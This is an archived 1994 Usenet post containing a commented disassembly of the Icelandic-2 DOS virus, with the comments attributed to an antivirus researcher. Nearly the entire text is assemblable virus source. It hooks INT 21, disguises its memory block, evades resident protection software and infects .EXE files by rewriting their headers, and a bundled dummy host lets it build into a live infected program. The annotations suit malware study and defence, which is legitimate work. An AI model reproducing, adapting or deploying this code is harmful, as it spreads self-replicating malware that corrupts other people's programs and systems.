home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ICE2.ASM < prev    next >
Assembly Source File  |  1994-11-29  |  15KB  |  508 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
  2. Xref: netcom.com alt.comp.virus:489
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
  4. From: clair@myhost.subdomain.domain (The Clairvoyant)
  5. Newsgroups: alt.comp.virus
  6. Subject: Ice2 Disassembly by f-prot author
  7. Date: 28 Nov 1994 08:16:26 GMT
  8. Organization: String to put in the Organization Header
  9. Lines: 493
  10. Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu>
  11. NNTP-Posting-Host: tempest.rhn.orst.edu
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.  
  15.  
  16. ;       THE ICELANDIC VIRUS - VERSION 2
  17. ;
  18. ;       Disassembly done in July '89.
  19. ;
  20. ;       The author(s) of this program is(are) unknown, but it is of
  21. ;       Icelandic origin. 
  22. ;
  23. ;       All comments in this file were added by Fridrik Skulason,
  24. ;       University of Iceland/Computing Services.
  25. ;
  26. ;       INTERNET:     frisk@rhi.hi.is 
  27. ;       UUCP:         ...mcvax!hafro!rhi!frisk
  28. ;       BIX:          FRISK
  29. ;
  30. ;       To anyone who obtains this file - please be careful with it, I
  31. ;       would not like to see this virus be distributed too much. The code
  32. ;       is very clear, and the virus is quite well written. It would be VERY
  33. ;       easy to modify it to do something really harmful.
  34. ;
  35. ;       The virus has the following flaws:
  36. ;
  37. ;               It modifies the date of the program it infects, making
  38. ;               it easy to spot them.
  39. ;
  40. ;               It removes the Read-only attribute from files, but does
  41. ;               not restore it.
  42. ;
  43. ;       This version appears to do no damage at all. This, and the fact that
  44. ;       the author(s) sent me a copy probably indicates that it was just
  45. ;       designed to demonstrate that a virus like this could be written.
  46. ;
  47. ;       This file was created in the following way: 
  48. ;
  49. ;       I disassembled the new version and compared it to my disassembly
  50. ;       of version #1.
  51. ;
  52. ;       Any changes found were added to this file.
  53. ;
  54. VIRSIZ  EQU     128
  55.  
  56.         ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
  57. ;
  58. ;       This is a dummy "infected" program, so that this file,
  59. ;       when assembled (using MASM) will produce a "true" infected
  60. ;       program.
  61. ;
  62. _TEXT1  SEGMENT PARA PUBLIC 'CODE'
  63. _START  DB      0b4H,09H
  64.         PUSH    CS
  65.         POP     DS
  66.         MOV     DX,OFFSET STRING
  67.         INT     21H
  68.         MOV     AX,4C00H
  69.         INT     21H
  70. STRING  DB      "Hello world!",0dh,0ah,"$"
  71.  _TEXT1 ENDS
  72.  
  73. _TEXT SEGMENT PARA PUBLIC 'CODE'
  74.  
  75. ;
  76. ;       The virus is basically divided in two parts.
  77. ;
  78. ;       1. The main program - run when an infected program is run. 
  79. ;          It will check if the system is already infected, and if not
  80. ;          it will install the virus.
  81. ;
  82. ;       2. The new INT 21 handler. It will look for EXEC calls, and
  83. ;          (sometimes) infect the program being run.
  84. ;          
  85. VIRUS   PROC FAR
  86. ;
  87. ;       This is a fake MCB
  88. ;
  89.         DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
  90. ;
  91. ;       The virus starts by pushing the original start address on the stack,
  92. ;       so it can transfer control there when finished.
  93. ;
  94. LABEL1: SUB     SP,4
  95.         PUSH    BP
  96.         MOV     BP,SP
  97.         PUSH    AX
  98.         MOV     AX,ES
  99. ;
  100. ;       Put the the original CS on the stack. The ADD AX,data instruction
  101. ;       is modified by the virus when it infects other programs.
  102. ;
  103.         DB      05H     
  104. ORG_CS  DW      0010H
  105.         MOV     [BP+4],AX
  106. ;
  107. ;       Put the the original IP on the stack. This MOV [BP+2],data instruction
  108. ;       is modified by the virus when it infects other programs.
  109. ;
  110.         DB      0C7H,46H,02H
  111. ORG_IP  DW      0000H
  112. ;
  113. ;       Save all registers that are modified.
  114. ;
  115.         PUSH    ES
  116.         PUSH    DS      
  117.         PUSH    BX
  118.         PUSH    CX
  119.         PUSH    SI
  120.         PUSH    DI
  121. ;
  122. ;       Check if already installed. Quit if so.
  123. ;
  124.         XOR     AX,AX
  125.         MOV     ES,AX
  126.         CMP     ES:[37FH],BYTE PTR 0FFH 
  127.         JNE     L1
  128. ;
  129. ;       Restore all registers and return to the original program.
  130. ;
  131. EXIT:   POP     DI
  132.         POP     SI
  133.         POP     CX
  134.         POP     BX
  135.         POP     DS
  136.         POP     ES
  137.         POP     AX
  138.         POP     BP
  139.         RET
  140. ;
  141. ;       The code to check if INT 13 contains something other than
  142. ;       0070 or F000 has been removed.
  143. ;
  144. ;       Set the installation flag, so infected programs run later will
  145. ;       recognize the infection.
  146. ;
  147. L1:     MOV     ES:[37FH],BYTE PTR 0FFH
  148. ;
  149. ;       The virus tries to hide from detection by modifying the memory block it
  150. ;       uses, so it seems to be a block that belongs to the operating system.
  151. ;
  152. ;       It looks rather weird, but it seems to work. 
  153. ;
  154.         MOV     AH,52H                  
  155.         INT     21H                     
  156. ;
  157. ;       The next line is new - the virus obtains the segment of the
  158. ;       IBMDOS.COM/MSDOS.SYS program.
  159. ;
  160.         MOV     CS:[DOSSEG],ES
  161. ;
  162. ;       Back to modification
  163. ;
  164.         MOV     AX,ES:[BX-2]            
  165.         MOV     ES,AX                   
  166.         ADD     AX,ES:[0003]            
  167.         INC     AX                      
  168.         INC     AX                      
  169.         MOV     CS:[0001],AX
  170. ;
  171. ;       Next, the virus modifies the memory block of the infected program.
  172. ;       It is made smaller, and no longer the last block.
  173. ;
  174.         MOV     BX,DS                   
  175.         DEC     BX                      
  176.         MOV     DS,BX
  177.         MOV     AL,'M'
  178.         MOV     DS:[0000],AL
  179.         MOV     AX,DS:[0003]
  180.         SUB     AX,VIRSIZ
  181.         MOV     DS:[0003],AX
  182.         ADD     BX,AX
  183.         INC     BX
  184. ;
  185. ;       Then the virus moves itself to the new block. For some reason 2000
  186. ;       bytes are transferred, when much less would be enough. Maybe the author just
  187. ;       wanted to leave room for future expansions.
  188. ;
  189.         MOV     ES,BX
  190.         XOR     SI,SI
  191.         XOR     DI,DI
  192.         PUSH    CS
  193.         POP     DS
  194.         MOV     CX,2000
  195.         CLD
  196.         REP     MOVSB
  197. ;
  198. ;       The virus then transfers control to the new copy of itself.
  199. ;
  200.         PUSH    ES
  201.         MOV     AX,OFFSET L2
  202.         PUSH    AX
  203.         RET                             
  204. ;
  205. ;       This part of the program is new. It tries to bypass protection
  206. ;       programs, by obtaining the original INT 21 address. It searches
  207. ;       for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
  208. ;       beginning of the original interrupt (probably also in 3.2 - I do
  209. ;       not have a copy of that)
  210. ;
  211. L2:     MOV     DS,CS:[DOSSEG]
  212.         MOV     CX,3000H
  213.         MOV     SI,0
  214.         MOV     AX,3A2EH
  215. L3:     CMP     AX,[SI]
  216.         JE      L3A
  217. L3C:    INC     SI
  218.         LOOP    L3
  219. ;
  220. ;       If that fails, it searches for 80 FC 63   (used in 3.0)
  221. ;                                      80 FC 4B   (used in 2.0)
  222. ;                                      80 FC F8   (This looks very odd -
  223. ;       I have no idea what DOS version this might be.)
  224. ;
  225.         MOV     CX,3000H
  226.         MOV     SI,0
  227.         MOV     AX,0FC80H
  228. L3D:    CMP     AX,[SI]
  229.         JE      L3F
  230. L3E:    INC     SI
  231.         LOOP    L3D
  232. ;
  233. ;       Start of DOS not found - Give up (but remain in memory)
  234. ;
  235.         JMP     EXIT
  236.  
  237. L3A:    CMP     BYTE PTR[SI+2],26H
  238.         JE      L3B
  239.         JMP     L3C
  240. L3F:    CMP     BYTE PTR[SI+2],63H
  241.         JE      L3B
  242.         CMP     BYTE PTR[SI+2],4BH
  243.         JE      L3B
  244.         CMP     BYTE PTR[SI+2],0F8H
  245.         JE      L3B
  246.         JMP     L3E
  247. L3B:    MOV     CS:[DOSPC],SI
  248. ;
  249. ;       The main program modifies INT 21 next and finally returns to the
  250. ;       original program. The original INT 21 vector is stored inside the
  251. ;       program so a JMP [OLD INT21] instruction can be used.
  252. ;
  253.         XOR     AX,AX
  254.         MOV     ES,AX
  255.         MOV     AX,ES:[0084H]
  256.         MOV     CS:[OLD21],AX
  257.         MOV     AX,ES:[0086H]
  258.         MOV     CS:[OLD21+2],AX
  259.         MOV     AX,CS
  260.         MOV     ES:[0086H],AX
  261.         MOV     AX,OFFSET NEW21
  262.         MOV     ES:[0084H],AX
  263.         JMP     EXIT
  264. VIRUS   ENDP
  265. ;
  266. ;       This is the INT 21 replacement. It only does something in the case
  267. ;       of an EXEC call.
  268. ;
  269. NEW21   PROC FAR                        
  270.         CMP     AH,4BH                  
  271.         JE      L5
  272. L4:     DB      0EAH
  273. OLD21   DW      0,0
  274. ;
  275. ;       Only attack every tenth program run.
  276. ;
  277. L5:     DEC     CS:[COUNTER]
  278.         JNE     L4
  279.         MOV     CS:[COUNTER],10
  280. ;
  281. ;       Save all affected registers.
  282. ;
  283.         PUSH    AX
  284.         PUSH    BX
  285.         PUSH    CX
  286.         PUSH    DX
  287.         PUSH    SI
  288.         PUSH    DS
  289. ;
  290. ;       Search for the file name extension ...
  291. ;
  292.         MOV     BX,DX
  293. L6:     INC     BX
  294.         CMP     BYTE PTR [BX],'.'
  295.         JE      L8
  296.         CMP     BYTE PTR [BX],0
  297.         JNE     L6
  298. ;
  299. ;       ... and quit unless it starts with "EX".
  300. ;
  301. L7:     POP     DS
  302.         POP     SI
  303.         POP     DX
  304.         POP     CX
  305.         POP     BX
  306.         POP     AX
  307.         JMP     L4
  308. L8:     INC     BX
  309.         CMP     WORD PTR [BX],5845H
  310.         JNE     L7
  311. ;
  312. ;       When an .EXE file is found, the virus starts by turning off
  313. ;       the read-only attribute. The read-only attribute is not restored
  314. ;       when the file has been infected.
  315. ;
  316. ;       Here, as elsewhere, the INT 21 instructions have been replaced
  317. ;       by      PUSHF/CALL DWORD PTR CS:[DOSPC]
  318. ;
  319.         MOV     AX,4300H                ; Get attribute
  320.         PUSHF
  321.         CALL    DWORD PTR CS:[DOSPC]
  322.         JC      L7
  323.         MOV     AX,4301H                ; Set attribute
  324.         AND     CX,0FEH
  325.         PUSHF
  326.         CALL    DWORD PTR CS:[DOSPC]
  327.         JC      L7
  328. ;
  329. ;       Next, the file is examined to see if it is already infected.
  330. ;       The signature (4418 5F19) is stored in the last two words.
  331. ;
  332.         MOV     AX,3D02H                ; Open / write access
  333.         PUSHF
  334.         CALL    DWORD PTR CS:[DOSPC]
  335.         JC      L7
  336.         MOV     BX,AX                   ; file handle in BX
  337.         PUSH    CS                      ; now DS is no longer needed
  338.         POP     DS
  339. ;
  340. ;       The header of the file is read in at [ID+8]. The virus then
  341. ;       modifies itself, according to the information stored in the
  342. ;       header. (The original CS and IP addressed are stored).
  343. ;
  344.         MOV     DX,OFFSET ID+8
  345.         MOV     CX,1CH
  346.         MOV     AH,3FH
  347.         PUSHF
  348.         CALL    DWORD PTR CS:[DOSPC]
  349.         JC      L9
  350.         MOV     AX,DS:ID[1CH]
  351.         MOV     DS:[ORG_IP],AX
  352.         MOV     AX,DS:ID[1EH]
  353.         ADD     AX,10H
  354.         MOV     DS:[ORG_CS],AX
  355. ;
  356. ;       Next the read/write pointer is moved to the end of the file-4,
  357. ;       and the last 4 bytes read. They are compared to the signature,
  358. ;       and if equal nothing happens.
  359. ;
  360.         MOV     AX,4202H
  361.         MOV     CX,-1
  362.         MOV     DX,-4
  363.         PUSHF
  364.         CALL    DWORD PTR CS:[DOSPC]
  365.         JC      L9
  366.         ADD     AX,4    
  367.         MOV     DS:[LEN_LO],AX
  368.         JNC     L8A
  369.         INC     DX
  370. L8A:    MOV     DS:[LEN_HI],DX
  371.  
  372.         MOV     AH,3FH
  373.         MOV     CX,4
  374.         MOV     DX,OFFSET ID+4
  375.         PUSHF
  376.         CALL    DWORD PTR CS:[DOSPC]
  377.         JNC     L11
  378. L9:     MOV     AH,3EH
  379.         PUSHF
  380.         CALL    DWORD PTR CS:[DOSPC]
  381. L10:    JMP     L7
  382. ;
  383. ;       Compare to 4418,5F19
  384. ;
  385. L11:    MOV     SI,OFFSET ID+4
  386.         MOV     AX,[SI]
  387.         CMP     AX,4418H
  388.         JNE     L12
  389.         MOV     AX,[SI+2]
  390.         CMP     AX,5F19H
  391.         JE      L9
  392. ;
  393. ;       The file is not infected, so the next thing the virus does is
  394. ;       infecting it. First it is padded so the length becomes a multiple
  395. ;       of 16 bytes. This is probably done so the virus code can start at a
  396. ;       paragraph boundary.
  397. ;
  398. L12:    MOV     AX,DS:[LEN_LO]
  399.         AND     AX,0FH
  400.         JZ      L13
  401.         MOV     CX,16
  402.         SUB     CX,AX
  403.         ADD     DS:[LEN_LO],CX
  404.         JNC     L12A
  405.         INC     DS:[LEN_HI]
  406. L12A:   MOV     AH,40H
  407.         PUSHF
  408.         CALL    DWORD PTR CS:[DOSPC]
  409.         JC      L9
  410. ;
  411. ;       Next the main body of the virus is written to the end.
  412. ;
  413. L13:    XOR     DX,DX
  414.         MOV     CX,OFFSET ID + 4
  415.         MOV     AH,40H
  416.         PUSHF
  417.         CALL    DWORD PTR CS:[DOSPC]
  418.         JC      L9
  419. ;
  420. ;       Next the .EXE file header is modified:
  421. ;
  422. ;       First modify initial IP
  423. ;
  424.         MOV     AX,OFFSET LABEL1
  425.         MOV     DS:ID[1CH],AX
  426. ;
  427. ;       Modify starting CS = Virus CS. It is computed as:
  428. ;
  429. ;       (Original length of file+padding)/16 - Start of load module
  430. ;
  431.         MOV     DX,DS:[LEN_HI]
  432.         MOV     AX,DS:[LEN_LO]
  433.         SHR     DX,1
  434.         RCR     AX,1
  435.         SHR     DX,1
  436.         RCR     AX,1
  437.         SHR     DX,1
  438.         RCR     AX,1
  439.         SHR     DX,1
  440.         RCR     AX,1
  441.         SUB     AX,DS:ID[10H]
  442.         MOV     DS:ID[1EH],AX
  443. ;
  444. ;       Modify length mod 512
  445. ;
  446.         ADD     DS:[LEN_LO],OFFSET ID+4
  447.         JNC     L14
  448.         INC     DS:[LEN_HI]
  449. L14:    MOV     AX,DS:[LEN_LO]
  450.         AND     AX,511
  451.         MOV     DS:ID[0AH],AX
  452. ;
  453. ;       Modify number of blocks used
  454. ;
  455.         MOV     DX,DS:[LEN_HI]
  456.         MOV     AX,DS:[LEN_LO]
  457.         ADD     AX,511
  458.         JNC     L14A
  459.         INC     DX
  460. L14A:   MOV     AL,AH
  461.         MOV     AH,DL
  462.         SHR     AX,1
  463.         MOV     DS:ID[0CH],AX
  464. ;
  465. ;       Finally the modified header is written back to the start of the
  466. ;       file.
  467. ;
  468. QQQ:    MOV     AX,4200H
  469.         XOR     CX,CX
  470.         XOR     DX,DX
  471.         PUSHF
  472.         CALL    DWORD PTR CS:[DOSPC]
  473.         JC      ENDIT
  474.         MOV     AH,40H
  475.         MOV     DX,OFFSET ID+8
  476.         MOV     CX,1CH
  477.         PUSHF
  478.         CALL    DWORD PTR CS:[DOSPC]
  479.         JC      ENDIT
  480.         MOV     AH,3EH
  481.         PUSHF
  482.         CALL    DWORD PTR CS:[DOSPC]
  483. ;
  484. ;       Infection is finished - close the file and execute it.
  485. ;
  486. ENDIT:  JMP     L9
  487. ;
  488. ;       The damage section located here has been removed.
  489. ;
  490.  
  491. NEW21   ENDP
  492.  
  493. DOSPC   DW      ?
  494.  
  495. DOSSEG   DW   ?
  496. COUNTER DB      10
  497. LEN_LO  DW      ?
  498. LEN_HI  DW      ?
  499. ID      DW      4418H,5F19H             ; The signature of the virus.
  500. ;
  501. ;       A buffer, used for data from the file.
  502. ;
  503. _TEXT   ENDS
  504.  
  505.         END LABEL1
  506. 
  507.  
  508.